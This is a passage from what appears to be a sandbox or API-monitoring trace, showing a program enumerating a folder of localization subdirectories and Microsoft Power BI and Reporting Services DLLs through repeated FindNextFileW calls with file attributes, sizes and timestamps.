ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0221.183] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0221.183] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0221.183] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0221.183] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0221.183] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0221.183] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0221.184] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0221.184] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0221.184] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0221.184] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0221.184] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0221.184] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0221.184] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0221.185] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0221.185] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0221.185] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0221.185] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0221.185] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0221.185] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0221.185] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0221.186] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0221.186] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3fa6c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap", cAlternateFileName="MICROS~1.XAP")) returned 1 [0221.186] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22a9f7a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Reporting.Common.dll", cAlternateFileName="MIB9B1~1.DLL")) returned 1 [0221.186] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.dll", cAlternateFileName="MID48A~1.DLL")) returned 1 [0221.186] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7d7750, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7d7750, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.Entry.Interfaces.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0221.186] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0221.186] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Authorization.dll", cAlternateFileName="MIBBB9~1.DLL")) returned 1 [0221.187] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c3d17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c3d17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Interfaces.dll", cAlternateFileName="MI2DB2~1.DLL")) returned 1 [0221.187] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7641936, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7641936, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5556e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ProgressiveProcessing.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0221.187] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ab259c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ab259c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0221.187] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0221.187] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0221.187] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0221.187] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0221.188] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0221.188] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0221.188] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0221.188] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0221.188] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0221.188] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0221.188] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0221.189] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0221.189] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0221.189] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0221.189] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0221.189] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0221.189] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0221.190] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ed300 | out: lpFindFileData=0x206ed300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, 